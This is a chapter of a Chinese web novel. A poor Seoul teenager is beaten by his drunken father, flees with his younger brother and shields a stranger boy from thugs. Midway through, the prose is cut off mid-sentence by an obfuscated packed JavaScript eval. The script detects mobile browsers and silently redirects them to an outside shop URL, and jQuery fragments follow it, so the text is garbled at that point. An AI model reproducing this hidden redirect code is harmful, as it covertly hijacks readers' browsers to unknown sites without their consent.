“可我不知道那到底是什么……就像一场消融的大雪，把什么都埋走了。”


    “剩下的吗……什么也没剩下……”


    “最可怕的是，没有人记得，就连你听我说到现在，也会觉得我是在做梦。对不对？”


    “我自己现在也分不清是不是梦了……”


    “Samuel，你相信我，哥说的都是真的。”


    _


    腊月的首尔，风是带棱角的，专往人骨头缝里钻。


    下午五点多，天已经擦黑，路灯刚亮起来，光线是浑浊的橙黄，勉强撕开这片老城区稠密的灰暗。


    街巷狭窄，两侧低矮的旧楼外墙斑驳，贴满了层层叠叠的小广告，被湿冷的空气泡得卷了边。


    空气里有股复杂的味道，陈年的油烟，若有若无的垃圾腐败气，还有一种属于贫瘠生活几近黏稠的锈味。


    金侑一贴着墙根快步走着，几乎要缩进那件因为洗得发白，袖口磨出毛边的深蓝色棉服里。


    他垂着头，视线落在自己脚上那双鞋帮开裂的运动鞋上，每一步都下意识避开路面坑洼里冻住的脏水。


    他刚从便利店下工，连续站了六个小时的腿有些僵硬，喉咙也干得发涩。口袋里揣着今天的工资，薄薄几张纸币，却沉甸甸地压自己。


    这笔钱要分成几份：弟弟学校下周的餐费，需要更换劣质的家具，快见底的米缸，还有……


    他抿了抿唇，把那点关于挪用一些去旧书店买本二手教辅材料书的微弱念头掐灭。


    母亲上个月又“奉献”了不少给教会，家里这个月的电费还没着落。


    越靠近家，那股无形的压力就越重，像这冬日傍晚的天色，沉沉地压下来。


    巷子尽头那栋最破旧的三层楼，就是他的家。楼下传来嘈杂的争吵声，男人的咒骂混着女人尖利的哭喊，是二楼那对夫妻。


    金侑一脚步顿了顿，没抬头，只是走得更快了些。


    钥匙插进生锈的锁孔，转动时发出刺耳的摩擦声。门开了，一股更浑浊的气息扑面而来，那是一种独属于失序生活的颓败。


    客厅只亮着一盏昏暗的灯泡，光线吝啬地勾勒出家具简陋的轮廓。弟弟金在贤蜷在角落一张旧垫子上，身上盖着条薄毯，正就着那点光写作业，听见开门声，男孩抬起小脸，眼睛亮了亮：“哥。”


    金侑一心头那点被寒风冻住的冷意化开些许。他“嗯”了一声，反手带上门，把寒风关在外面。


    “吃饭了吗？”


    “吃了泡面。”在贤小声说，目光落在哥哥手里提着的便利店塑料袋上。


    金侑一走过去，从袋子里拿出一个还温热的饭团，塞到弟弟手里：“给你留的。快吃。”


    话音未落，里间的门“哐”一声被踹开。一个眼泡浮肿的男人趿拉着拖鞋走出来，这是他们的父亲。


    中年人身上的酒气隔老远就能闻到，眼神浑浊，直勾勾盯住金侑一：“钱呢？今天是发工钱的日子吧？别以为我不知道。钱！”


    金侑一身体几不可察地僵了一下，手下意识按紧了放钱的口袋。


    “要交餐费，要买米，还有电……”


    “少废话！”父亲不耐烦地打断，几步冲过来，一把攥住金侑一的胳膊，力气大得惊人，“拿来！老子养你这么大，拿你点钱怎么了？快！”


    刺鼻的酒臭喷在脸上，金侑一胃里一阵翻搅。他试图挣开，但父亲的手像铁钳。


    “爸，这个月真的……”


    “啪！”


    一记耳光结结实实扇在脸上，火辣辣的疼瞬间炸开，耳朵里嗡鸣一片。金侑一被打得偏过头去，眼前发黑。


    “反了你了！小*崽子！”


    父亲咒骂着，另一只手已经伸进他口袋，粗暴地拽出那几张纸币。


    在贤吓得丢开饭团，扑过来抱住父亲的腿哭喊：“别打哥哥！爸爸别打！”


    “滚开！”


    父亲一脚踹开在贤，男孩瘦小的身体撞在桌角，发出一声闷响，疼得蜷缩起来。


    怒火和绝望瞬间冲垮了理智的堤坝。金侑一也不知道哪来的力气，猛地挣脱父亲，拽过在贤，一把抢回那几张被揉皱的钞票，转身拉开门就冲了出去。


    身后是父亲暴怒的吼叫，但他什么也顾不上了，只知道要逃，逃离这个令人窒息的地方，和他唯一的弟弟一起。


    冷风像刀子一样刮在刚挨过打的脸上，更疼了。他漫无目的地狂奔，穿过一条又一条昏暗肮脏的巷子，肺叶像要炸开，心脏狂跳得几乎撞碎肋骨。


    不知跑了多久，直到在贤在身后哭着求着喊他的名，直到自己的腿软得再也迈不动，他才在一个僻静的巷口停下来，扶着冰冷的砖墙大口喘息。喉咙里全是血腥味。


    脸上疼，身上冷，但心里那片空洞的寒冷更甚。他慢慢滑坐在地，背靠着墙，把脸埋进膝盖。口袋里那几张沾着汗渍的钞票硌着大腿。


    四周寂静，只有远处隐约的车声和风声。这个世界这么大，却没有一寸地方能容下他喘口气。


    “哥，”在贤的脸因为流泪的缘故被低温划出一道道红痕，但尽管如此，他仍努力朝金侑一挤出一个笑容，用尽全力去安慰他的哥哥，“你吃过了吗？”


    金侑一把视线挪向他手里的饭团，就这样盯着看了很久，久到在贤有些失落准备放下时，他忽地笑出声：


    “哥吃过了。哥不饿。”


    金侑一眼底涌上暗色，收了脸色。


    他比在贤大四岁。金侑一没告诉过弟弟，在他拥有的那额外的四年里，父亲没有沾上赌博，母亲也没加入教会。


    普通的小家庭过得很安稳，直到在贤出生那年母亲因为大出血花费了高额的医疗费，父亲也因为工作失利而不得不背上高债。


    金侑一是喜欢弟弟的。哪怕双亲总是把死局怪罪在在贤身上。有时候他望着那么小的孩子孤零零地躲在角落里，抽噎也不敢出声的模样，自己也会心里往上泛酸水。


    “在贤呐，不哭不哭。还有哥在呢，最苦的时候就在这儿了，以后一定都会变好的。嗯。要相信哥。相信哥。”


    以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976259|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后到底有多久？金侑一也不知道。于是，在贤就这样年复一年度过了他12个冬天。


    在贤靠着他小心翼翼吃着饭团，金侑一不合时宜地冒出想带弟弟离家出走的想法。可他们在哪里落脚呢？又去哪里挣钱呢？在贤的学业呢？他自己呢？说白了，他们俩真的能活下去吗？


    就这么不知坐了多久，直到手脚冻得发麻，金侑一才缓缓抬起头。天已经完全黑了。这条巷子似乎格外偏僻，路灯坏了，只有远处路口一点模糊的光晕。


    他撑着墙壁想站起来，腿却一软。好在在贤眼疾手快，扶了他一把。


    金侑一摸了摸男孩的头：“在贤先回去吧，这时候爸应该已经走了。”


    “内。”男孩声音很沉，但动作不慢，迅速转身拢住身体，往回小跑，看得金侑一心里好受了点。


    就在这时，巷子深处传来脚步声，夹杂着一丝轻快的歌调，在这死寂的黑暗里显得格外突兀。


    金侑一警觉地抬眼望去。一个身影从更深的阴影里走出来，是个少年，小小的个子，穿着厚实的羽绒服，毛线帽和围巾遮住了半张脸，只露出一双在昏暗光线下依然显得很亮的眼睛。


    他手里拿着个类似MP3的东西，耳朵里塞着耳机，似乎完全沉浸在自己的世界里，脚步很是轻快，浑然不觉自己正走进这片连本地人都尽量绕行的“牢街”。


    几乎同一时间，金侑一瞥见巷子另一头，来了几个晃动的黑影，明晃晃地堵住了来路。金侑一眯起眼，那是是常在附近游荡的那群混混。


    混混吗自然是冲着看起来家境不错的“外来者”来得。在“牢街”，误闯是错，落单更是“死罪”。


    少年终于后知后觉地察觉到气氛不对，他停下了哼歌，摘下一边耳机，对自己身处的地段有些茫然。


    那几个黑影怪笑着吹起口哨，慢慢围拢过来。


    金侑一的心脏猛地一缩。他认得这几个人，是附近出了名的无赖，偷抢拐骗，什么都干。


    这孩子……


    身体先于大脑做出了反应。他撑着墙站起来，深吸一口冰冷的空气，压下脸上的疼痛和浑身的疲惫，几步冲过去，迅速抓住那少年的胳膊，将他拽到自己身后。


    “别回头，往前走，出巷子右转就是大路。”他压低了声音，慌乱的语速说得很快，目光紧紧盯住逼近的混混。


    少年显然吓了一跳，但在金侑一挡在他身前的瞬间，那点惊慌奇异地平息了一些。他看了看金侑一紧绷的侧脸，又看了看前面那几个不怀好意的人，没动。


    “哟，还有个想当英雄的？”为首的混混叼着烟，淬了一口唾沫，“小子，识相点滚开，把你身后那小肥羊留下。”


    金侑一没说话，只是微微侧身将少年护得更严实。他个子不矮，但太清瘦，对面的三个人都比他壮实。男孩的冷汗沿着脊椎滑下，脸部的肌肉紧张到痉挛。


    冲突一触即发。金侑一甚至能闻到对方身上浓重的烟味和汗味。就在对方伸手要来推搡他的一瞬——


    “呀！你们干什么呢！”